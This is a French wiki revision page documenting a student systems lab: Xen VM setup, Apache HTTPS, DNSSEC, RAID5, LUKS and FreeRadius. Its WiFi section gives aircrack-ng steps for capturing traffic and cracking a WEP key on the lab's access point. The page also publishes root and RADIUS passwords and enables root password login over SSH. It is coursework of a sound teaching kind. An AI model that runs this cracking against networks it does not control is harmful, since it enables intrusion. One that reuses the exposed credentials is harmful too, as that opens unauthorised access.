TP sysres IMA2a5 2019/2020 G1 : Différence entre versions

De Wiki d'activités IMA
 
(55 révisions intermédiaires par 2 utilisateurs non affichées)
Ligne 2 : Ligne 2 :
  
 
==Présentation du Groupe et du projet==
 
==Présentation du Groupe et du projet==
Le groupe de projet est contitué de:
+
Le groupe de projet est constitué de:
 
* Cavalier Fabien  
 
* Cavalier Fabien  
 
* Hirt Maxime.
 
* Hirt Maxime.
  
 
Lors de ce projet nous allons devoir:
 
Lors de ce projet nous allons devoir:
* Créer une architecture reseaux avec un système de redondance
+
* Créer une architecture réseaux avec un système de redondance
 
* Créer une machine virtuel
 
* Créer une machine virtuel
* Parametrer des connections IPV6
+
* Paramétrer des connections IPV6
* Effectuer un forcebrut sur une clé WEP et WPA
+
* Attaquer un réseau WiFi
* Créer un systeme de stockage Raid5
+
* Créer un système de stockage Raid5
* Cryptage de fichiers
+
* Crypter des fichiers
 +
* Mettre en place un serveur Web sécurisé
  
 
== Installation de la machine virtuelle avec xen ==
 
== Installation de la machine virtuelle avec xen ==
  
===Connection à Corduan via ssh ===
+
===Connexion à Corduan via ssh ===
 
  ssh root@cordouan.insecserv.deule.net
 
  ssh root@cordouan.insecserv.deule.net
  
 
===Création et initialisation de la machine virtuelle===
 
===Création et initialisation de la machine virtuelle===
  
'''Creation de la machine virtuelle'''
+
'''Création de la machine virtuelle'''
 
  xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128
 
  xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128
  
Ligne 83 : Ligne 84 :
 
  xl console ima2a5-zerofun
 
  xl console ima2a5-zerofun
  
'''Connexion ssh@193.48.57.161'''
 
  
 
'''Récupération du mot de passe'''
 
'''Récupération du mot de passe'''
Ligne 89 : Ligne 89 :
 
  >>Root Password  :  a7a5eajZ5uCpXrZXWQ9esTT
 
  >>Root Password  :  a7a5eajZ5uCpXrZXWQ9esTT
  
On peut ensuite modifier le mot de passe avec ''passwd''
+
On peut ensuite modifier le mot de passe avec ''passwd''    -> ''glopglop''
  
  
Ligne 252 : Ligne 252 :
 
  User: name="www-data" id=33
 
  User: name="www-data" id=33
 
  Group: name="www-data" id=33
 
  Group: name="www-data" id=33
 +
 +
 +
====Gestion des certificats====
 +
 +
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl
 +
 +
# openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr
 +
 +
On places ces fichiers dans /etc/apache2/certificate  pour pouvoir les utiliser dans notre fichier de configuration.
  
 
====Aperçu site web ima2a5-zerofun.site====
 
====Aperçu site web ima2a5-zerofun.site====
Ligne 263 : Ligne 272 :
 
  [[Fichier:---home-fabien-Images-site web cav hirt.png]]
 
  [[Fichier:---home-fabien-Images-site web cav hirt.png]]
  
===Mise en place du serveur DNS avec bind9===
+
 
 +
Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D 
 +
 
 +
[[Fichier:---sitesécurisé.png]]
 +
 
 +
===Mise en place du serveur DNSSEC avec bind9===
 
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.
 
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.
 
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.
 
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.
  
Installer bind9
+
====Installation et paramétrage de bind9====
 +
 
 +
'''Installer bind9'''
 +
 
 
  # apt-get install bind9
 
  # apt-get install bind9
 +
 +
'''Génération des clés '''
 +
 +
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site
 +
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site
 +
 +
'''Signature de la zone'''
 +
 +
dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk
 +
  
 
Il faut paramétrer bind9.  
 
Il faut paramétrer bind9.  
Ligne 274 : Ligne 301 :
 
   
 
   
 
  #nano /etc/bind/named.conf.local
 
  #nano /etc/bind/named.conf.local
//
+
 
// Do any local configuration here
 
//
 
// Consider adding the 1918 zones here, if they are not used in your
 
// organization
 
//include "/etc/bind/zones.rfc1918";
 
 
  //Zone de resolution du domaine ima2a5-zerofun.site
 
  //Zone de resolution du domaine ima2a5-zerofun.site
 
  zone "ima2a5-zerofun.site" {
 
  zone "ima2a5-zerofun.site" {
Ligne 286 : Ligne 308 :
 
  };
 
  };
  
 +
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS
  
Gestion des certificats
+
root@ima2a5-zerofun:/etc/bind# cat named.conf.options
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée avec openssl
+
options {
openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr
+
directory "/var/cache/bind";
On places ces fichiers dans /etc/apache2/certificate
+
dnssec-validation auto;
 +
dnssec-enable yes;
 +
dnssec-lookaside auto;
 +
auth-nxdomain no;    # conform to RFC1035
 +
listen-on-v6 { any; };
 +
allow-transfer { "allowed_to_transfer"; };
 +
};
 +
acl "allowed_to_transfer" {
 +
217.70.177.40/32;
 +
};
 +
 
 +
Enfin, le fichier qui va configurer les zones de résolution
 +
 
 +
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site
 +
 +
;
 +
; BIND data file for local loopback interface
 +
;
 +
$TTL    604800
 +
$include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key
 +
$include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key
 +
@      IN      SOA    dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (
 +
                        26112021        ; Serial
 +
                        604800        ; Refresh
 +
                          86400        ; Retry
 +
                        2419200        ; Expire
 +
                        604800 )      ; Negative Cache TTL
 +
;
 +
@      IN      NS      dns.ima2a5-zerofun.site.
 +
@      IN      NS      ns-9-b.gandi.net.
 +
@ IN NS ns6.gandi.net.
 +
@ IN A 193.48.57.161
 +
dns    IN      A      193.48.57.161
 +
www    IN      A      193.48.57.161 
 +
info09  IN      TXT    "Micral"
 +
 
 +
Notre DNS est maintenant configuré, on relance le service bind9
 +
 +
# service bind9 restart
 +
 
 +
====Gestion des DNS sur gandi.net====
 +
 
 +
Ajout des DNS sur gandi.net :
 +
 
 +
On a notre serveur de noms principal : dns.ima2a5-zerofun.site
 +
 
 +
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net  qui supporte les zones DNSSEC
 +
 
 +
[[Fichier:DNSGandi.png]]
 +
 
 +
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:
 +
[[Fichier:GlueRecord.png]]
  
 
==Attaque Wifi==
 
==Attaque Wifi==
===Description de l'installation===
 
 
 
===Installation de l'utilitaire AirCrack===
 
===Installation de l'utilitaire AirCrack===
 
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK
 
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK
 
  apt-get install aircrack-ng
 
  apt-get install aircrack-ng
 
===Cassage WEP===
 
===Cassage WEP===
 +
 +
'''Lister les interfaces sans fil disponibles'''
 +
 +
# airmon-ng
 +
>> phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370
  
 
'''Passage de la carte wifi en mode moniteur'''
 
'''Passage de la carte wifi en mode moniteur'''
airmon-ng
+
 
>> phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370
+
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode <<moniteur>>.
  airmon-ng start wlx40a5ef0f679b
+
 
 +
  # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave.
  
 
'''Ecoute des trames Wifi sur le canal 2'''
 
'''Ecoute des trames Wifi sur le canal 2'''
  airodump-ng -c 2 wlx40a5ef0f679b
+
 
 +
On peut alors sniffer tout ce qui se passe sur le canal 2
 +
 
 +
  # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b  
 +
 
 +
Cela nous permet de récupérer le BSSID de notre cracotte01
 +
BSSID : 04:DA:D2:9C:50:50
  
 
'''Récupération des datas échangées sur le réseau Wifi'''
 
'''Récupération des datas échangées sur le réseau Wifi'''
  airodump-ng
+
 
 +
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  
 +
 
 +
# airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b
 +
 
 +
'''Décryptage de la clé WEP'''
 +
 
 +
Enfin, on ouvre un autre terminal dans lequel on lance la commande
 +
# aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap
 +
 
 +
Au bout d'une dizaine de minutes (au moins), on obtient la clé !
 +
[[Fichier:Aircrack.png]]
  
 
===Cassage WPA2-PSK===
 
===Cassage WPA2-PSK===
Ligne 366 : Ligne 461 :
  
 
==Stockage Raid5==
 
==Stockage Raid5==
 +
 +
'''RAID5, pourquoi?'''
 +
On souhaite ensuite créer un RAID (Redundant Array of Inexpensive Disks) afin de rendre notre système de stockage plus robuste. On choisit de faire un RAID5, ce qui va permettre de répartir nos données sur plusieurs partitions et rendre l'accès à ces données plus rapide.
 +
Nous décidons d'utiliser 3 disques. Ainsi, chaque disque sera composé d'une partie des données mais également d'un bloc destiné à la parité. Par conséquent, si l'un des disques tombe en panne, on pourra le reconstituer grâce aux 2 autres.
 +
 +
[[Fichier:RAID5.png]]
 +
 +
'''Création des disques'''
  
 
On crée les 3 disques de 1Go
 
On crée les 3 disques de 1Go
Ligne 372 : Ligne 475 :
 
  lvcreate -L1G -n ima2a5-zerofun-d3 virtual
 
  lvcreate -L1G -n ima2a5-zerofun-d3 virtual
  
  cd /dev/virtual
+
   
 +
 
 +
On fait pointer le système de fichiers sur nos 3 disques.
  
Faire pointer système de fichiers sur nos 3 disques.
 
 
  mke2fs /dev/virtual/ima2a5-zerofun-d1
 
  mke2fs /dev/virtual/ima2a5-zerofun-d1
 
  mke2fs /dev/virtual/ima2a5-zerofun-d2
 
  mke2fs /dev/virtual/ima2a5-zerofun-d2
 
  mke2fs /dev/virtual/ima2a5-zerofun-d3
 
  mke2fs /dev/virtual/ima2a5-zerofun-d3
  
on met a jour le fichier de config de la VM
+
'''Mise à jour du fichier de config de la VM'''
 +
 
 +
On met a jour le fichier de config de la VM
  
 
  root        = '/dev/xvda2 ro'
 
  root        = '/dev/xvda2 ro'
Ligne 387 : Ligne 493 :
 
                 'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',
 
                 'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',
 
                 'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',
 
                 'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',
                 'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',
+
                 ''''phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w','''
                 'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',
+
                 ''''phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w','''
                 'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',
+
                 ''''phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w','''
 
               ]
 
               ]
 +
'''Utilisation de l'utilitaire mdadm pour la gestion du RAID5'''
  
On retourne sur la VM et on installe mdadm
+
On retourne sur la VM et on installe mdadm.
 
  apt-get install mdadm
 
  apt-get install mdadm
  
  mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5
+
'''Construction du volume RAID'''
 +
 
 +
  # mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5
  
 
result:
 
result:
Ligne 405 : Ligne 514 :
 
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970
 
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970
  
  mdadm --monitor --daemonise /dev/md0
+
'''Démonisation du volume RAID'''
 +
On va maintenant démoniser le volume RAID, c'est à dire faire en sorte que le système charge le volume à chaque démarrage.
 +
  # mdadm --monitor --daemonise /dev/md0
 +
 
 +
'''Formatage du volume RAID'''
 +
Enfin, on formate le volume.
 +
# mkfs.ext4 /dev/md0
 +
 
 +
'''Informations sur notre RAID5'''
 +
 
 +
La commande suivante permet d'obtenir des informations sur notre volume fraîchement crée.
 +
 
 +
root@ima2a5-zerofun:~# mdadm --detail /dev/md0
 +
/dev/md0:
 +
        Version : 1.2
 +
  Creation Time : Thu Nov 28 16:56:26 2019
 +
    '''Raid Level : raid5'''
 +
    Array Size : 2095104 (2046.00 MiB 2145.39 MB)
 +
  Used Dev Size : 1047552 (1023.00 MiB 1072.69 MB)
 +
  Raid Devices : 3
 +
  Total Devices : 3
 +
    Persistence : Superblock is persistent
 +
    Update Time : Sun Dec  1 01:00:45 2019
 +
          State : clean
 +
Active Devices : 3
 +
Working Devices : 3
 +
Failed Devices : 0
 +
  Spare Devices : 0
 +
        Layout : left-symmetric
 +
    Chunk Size : 512K
 +
          Name : ima2a5-zerofun:0  (local to host ima2a5-zerofun)
 +
          UUID : d0b2e2f1:c1298ca0:c684c1ec:b711b7f0
 +
        Events : 23
 +
    Number  Major  Minor  RaidDevice State
 +
      0    202      19        0      active sync  /dev/xvdb3
 +
      1    202      20        1      active sync  /dev/xvdb4
 +
      3    202      21        2      active sync  /dev/xvdb5
 +
 
 +
 
 +
 
 +
Avec
 +
#fdisk -l
 +
on voit nos 3 disques de 1Go et le volume du RAID5 (md0) qui vaut 2 Go, ce qui est logique car seuls 2 tiers de l'espace disponible seront utilisés pour le stockage. Le tiers restant est destiné à la parité.
 +
'''Disk /dev/xvdb3: 1 GiB, 1073741824 bytes, 2097152 sectors'''
 +
Units: sectors of 1 * 512 = 512 bytes
 +
Sector size (logical/physical): 512 bytes / 512 bytes
 +
I/O size (minimum/optimal): 512 bytes / 512 bytes
 +
'''Disk /dev/xvdb4: 1 GiB, 1073741824 bytes, 2097152 sectors'''
 +
Units: sectors of 1 * 512 = 512 bytes
 +
Sector size (logical/physical): 512 bytes / 512 bytes
 +
I/O size (minimum/optimal): 512 bytes / 512 bytes
 +
'''Disk /dev/xvdb5: 1 GiB, 1073741824 bytes, 2097152 sectors'''
 +
Units: sectors of 1 * 512 = 512 bytes
 +
Sector size (logical/physical): 512 bytes / 512 bytes
 +
I/O size (minimum/optimal): 512 bytes / 512 bytes
 +
'''Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors'''
 +
Units: sectors of 1 * 512 = 512 bytes
 +
Sector size (logical/physical): 512 bytes / 512 bytes
 +
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes
  
  mkfs.ext4 /dev/md0
+
Il ne reste qu'à modifier le fichier /etc/fstab pour que le système de fichier monte au démarrage.
 +
# nano /etc/fstab
 +
 +
  # /etc/fstab: static file system information.
 +
#
 +
# <file system> <mount point>  <type>  <options>      <dump>  <pass>
 +
proc            /proc          proc    defaults        0      0
 +
devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0
 +
/dev/xvda1 none swap sw 0 0
 +
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
 +
/dev/xvdb1 /home ext4 defaults 0 2
 +
/dev/xvdb2 /var ext4 defaults 0 2
 +
'''/dev/md0 /media/raid ext4 defaults 0 1'''
  
mke2fs 1.43.4 (31-Jan-2017)
 
Creating filesystem with 523776 4k blocks and 131072 inodes
 
Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b
 
Superblock backups stored on blocks:
 
32768, 98304, 163840, 229376, 294912
 
Allocating group tables: done                           
 
Writing inode tables: done                           
 
Creating journal (8192 blocks): done
 
Writing superblocks and filesystem accounting information: done
 
  
 +
Et puis évidemment, il faut créer le dossier dans lequel sera monté le contenu du volume RAID.
  
 
  mkdir /media/raid
 
  mkdir /media/raid
  
 
==Cryptage de fichiers==
 
==Cryptage de fichiers==
 +
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe.
 +
 +
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:
 +
 +
apt-get install lvm2 cryptsetup
 +
 +
On affiche les périphériques USB disponibles:
 +
lsblk
 +
 +
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:
 +
 +
fdsik /dev/sda
 +
d //permet de supprimer les partitions
 +
w // on sauvegarde les modifications
 +
n // on crée une nouvelle partition
 +
p // pour la rendre primaire
 +
1 // on lui donne un numéro de partition
 +
 +
On garde le volume du disque par défaut proposé.
 +
 +
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé
 +
 +
Chiffrage du périphérique
 +
 +
cryptsetup luksFormat -c aes -h sha256 /dev/sda1
 +
 
 +
Ouverture sécurisée du périphérique
 +
 +
cryptsetup open --type luks /dev/sda1 home
 +
 +
Création du système de fichiers
 +
 +
mkfs.ext4 /dev/mapper/home
 +
 +
Montage du périphérique
 +
 +
mount -t ext4 /dev/mapper/home /mnt/cle_usb
 +
 +
Démontage physique du périphérique
 +
 +
umount /mnt/cle_usb
 +
 +
Fermeture sécurisée du périphérique
 +
 +
cryptsetup close --type luks home
 +
 +
==Sécurisation wifi par WPA2-EAP==
 +
 +
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe.
 +
 +
Dans le CISCO :
 +
 +
'''Création du serveur radius'''
 +
 +
radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop
 +
 +
'''Définir le groupe de serveur AAA'''
 +
 +
aaa group server radius radius_ima2a5-zerofun
 +
 +
'''Association du groupe de serveur et du serveur de la VM'''
 +
 +
server 193.48.57.161 auth-port 1812 acct-port 1813
 +
 +
'''Définition du login et du groupe de serveur'''
 +
 +
aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun
 +
 +
'''Définition du SSID'''
 +
 +
dot11 ssid SSID_ima2a5-zerofun                               
 +
vlan num_vlan
 +
authentication open eap eap_ima2a5-zerofun 
 +
authentication network-eap eap_ima2a5-zerofun 
 +
authentication key-management wpa
 +
 +
 +
'''Configuration du Vlan'''
 +
 +
interface Dot11Radio0
 +
encryption vlan 2 mode ciphers aes-ccm tkip
 +
ssid SSID_ima2a5-zerofun
 +
 +
'''Création d'une sous interface'''
 +
 +
interface dot11Radio0.2
 +
encapsulation dot1Q 2
 +
bridge-group 2
 +
 +
''' '''
 +
interface gigabite0.2
 +
encapsulation dot1Q 2
 +
bridge-group 2
 +
 +
 +
'''Ajout SSID dans l'interface Dot11Radio0'''
 +
 +
interface Dot11Radio0
 +
dot11 ssid SSID_ima2a5-zerofun
 +
 +
'''Rendre visible le SSID'''
 +
 +
interface Dot11Radio0
 +
mbssid
 +
dot11 ssid SSID_ima2a5-zerofun
 +
mbssid guest-mode
 +
 +
 +
exit
 +
exit
 +
write
 +
reload
 +
 +
 +
==Serveur FreeRadius==
 +
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur
 +
 +
# ssh @193.48.57.161
 +
 +
'''Installation de freeradius'''
 +
On commence par installer le logiciel freeradius sur la VM
 +
 +
# apt-get install freeradius
 +
 +
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs :
 +
 +
pifou Cleartext-Password :="glopglop"
 +
apache Cleartext-Password :="capitaine"
 +
 +
Puis dans /etc/freeradius/3.0/mods-enabled/eap :
 +
 +
default_eap_type = peap
 +
 +
Et dans /etc/freeradius/3.0/mods-enabled/mschap :
 +
 +
use_mppe = yes
 +
require_encryption = yes
 +
require_strong = yes
 +
with_ntdomain_hack = yes
 +
 +
Enfin, on ajoute la borne à la liste des clients :
 +
client access-point {               
 +
      ipaddr          = 10.60.0.100 
 +
      secret          = glopglop     
 +
}
 +
 +
Et on relance FreeRadius
 +
 +
service freeradius restart
  
 
== Architecture Réseau ==
 
== Architecture Réseau ==
Ligne 497 : Ligne 817 :
 
|-
 
|-
 
|}
 
|}
}
+
 
  
 
===== Création du lien pour la borne wifi =====
 
===== Création du lien pour la borne wifi =====
Ligne 947 : Ligne 1 267 :
 
==Sources==
 
==Sources==
 
https://rex.plil.fr/
 
https://rex.plil.fr/
 +
 +
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil
 +
 
https://tutofacile.org/2017/04/installation-configuration-bind/
 
https://tutofacile.org/2017/04/installation-configuration-bind/
 +
 
https://wiki.debian.org/fr/Bind9
 
https://wiki.debian.org/fr/Bind9
 +
 
https://doc.ubuntu-fr.org/apache2
 
https://doc.ubuntu-fr.org/apache2
 +
 +
https://doc.ubuntu-fr.org/aircrack-ng
 +
 +
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/
 +
 +
https://doc.ubuntu-fr.org/raid_logiciel

Version actuelle datée du 7 décembre 2019 à 15:13

Maxime Hirt - Fabien Cavalier

Sommaire

Présentation du Groupe et du projet

Le groupe de projet est constitué de:

  • Cavalier Fabien
  • Hirt Maxime.

Lors de ce projet nous allons devoir:

  • Créer une architecture réseaux avec un système de redondance
  • Créer une machine virtuel
  • Paramétrer des connections IPV6
  • Attaquer un réseau WiFi
  • Créer un système de stockage Raid5
  • Crypter des fichiers
  • Mettre en place un serveur Web sécurisé

Installation de la machine virtuelle avec xen

Connexion à Corduan via ssh

ssh root@cordouan.insecserv.deule.net

Création et initialisation de la machine virtuelle

Création de la machine virtuelle

xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128
xl create ima2a5-zerofun.cfg

Modification du fichier de configuration de la VM

nano ima2a5-zerofun.cfg
 #
 # Configuration file for the Xen instance ima2a5-zerofun, created
 # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.
 #
 
 #
 #  Kernel + memory size
 #
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'
 extra       = 'elevator=noop'
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'
 
 vcpus       = '1'
 memory      = '256'
 
 
 #
 #  Disk device(s).
 #
 root        = '/dev/xvda2 ro'
 disk        = [
 'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',
 'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',
 ]
 
 
 #
 #  Physical volumes
 #
 
 
 #
 #  Hostname
 #
 name        = 'ima2a5-zerofun'
 
 #
 #  Networking
 #
 dhcp        = 'dhcp'
 vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]
 
 #
 #  Behaviour
 #
 on_poweroff = 'destroy'
 on_reboot   = 'restart'
 on_crash    = 'restart'
 
 

Lancement de la VM

xl console ima2a5-zerofun


Récupération du mot de passe

cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password
>>Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT

On peut ensuite modifier le mot de passe avec passwd -> glopglop


Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte

   lvcreate -L10G -n ima2a5-zerofun-home virtual
   lvcreate -L10G -n ima2a5-zerofun-var virtual
   mke2fs /dev/virtual/ima2a5-zerofun-home
   mke2fs /dev/virtual/ima2a5-zerofun-var


Modification du fichier de config

   disk    	= [
                 	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',
                 	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               
                      'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',
                      'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',
                ]

Autorisation de l'accès à notre machine virtuelle via le protocole SSH

On regarde si le package openssh-server est installé

ssh -V

S'il ne l'est pas, alors on l'installe :

root@ima2a5-zerofun:~# apt install openssh-server
root@ima2a5-zerofun:~# ssh -V
OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019

Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès :

nano /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
PubkeyAuthentication yes // Permet de s'identifier via une clé publique
PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe
X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple

Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:

root@ima2a5-zerofun:~# service ssh restart
[ ok ] Restarting OpenBSD Secure Shell server: sshd.

Pour être sûr que le SSH est fonctionnel on teste l'état du service :

root@ima2a5-zerofun:~# service ssh status
[ ok ] sshd is running.

On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément.

RAPPEL password : glopglop

Depuis Cordouan :

root@cordouan:~# ssh 193.48.57.161
root@193.48.57.161's password: 
Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12
root@ima2a5-zerofun:~#

Depuis une Zabeth :

pifou@zabeth30:~$ ssh root@193.48.57.161
The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.
ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.
Are you sure you want to continue connecting (yes/no)? y
Please type 'yes' or 'no': yes
Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.
root@193.48.57.161's password: 
Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux
Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12
root@ima2a5-zerofun:~#

Site web

On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité. On utilisera le plus connu de tous, le serveur HTTP Apache2.

Installation et configuration du serveur Apache2

Installer Apache2

apt install apache2

Protocole HTTP

Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available

root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf
 <VirtualHost *:80> //Le port 80 est dédié au protocole HTTP
      ServerName ima2a5-zerofun.site
      ServerAlias www.ima2a5-zerofun.site
      DocumentRoot "/var/www/ima2a5-zerofun"
      <Directory "/var/www/ima2a5-zerofun">
              Options +FollowSymLinks
              AllowOverride all
              Require all granted
      </Directory>
      ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log
      CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined
  </VirtualHost>

Protocole HTTPS

Si maintenant, on souhaite <<sécuriser>> notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site

 <VirtualHost *:80>
      ServerName ima2a5-zerofun.site
      ServerAlias www.ima2a5-zerofun.site
      DocumentRoot "/var/www/ima2a5-zerofun"
      Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site
 </VirtualHost>
 //-----------------------------------------------------------------------------------------------------------------//
 <VirtualHost *:443> //port dédié au protocole HTTPS
       DocumentRoot "/var/www/ima2a5-zerofun" //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun
       ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier
       ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site
       ServerAdmin fabien.cavalier@polytech-lille.net
               <Directory /var/www/ima2a5-zerofun>
                       Options -Indexes +FollowSymLinks +MultiViews
                       AllowOverride none
                       Require all granted
               </Directory>
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined
        # Activation du SSL
       SSLEngine On
       ServerAlias www.ima2a5-zerofun.site
       SSLProtocol All -SSLv3 -SSLv2
       SSLHonorCipherOrder on
  SSLCertificateFile "/etc/apache2/certificate/ima2a5-zerofun.crt"
  SSLCACertificateFile "/etc/apache2/certificate/ima2a5-zerofun.pem"
  SSLCertificateKeyFile "/etc/apache2/certificate/ima2a5-zerofun.key"
  </VirtualHost>


Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration :

root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut
root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration

On active le protocole SSL via

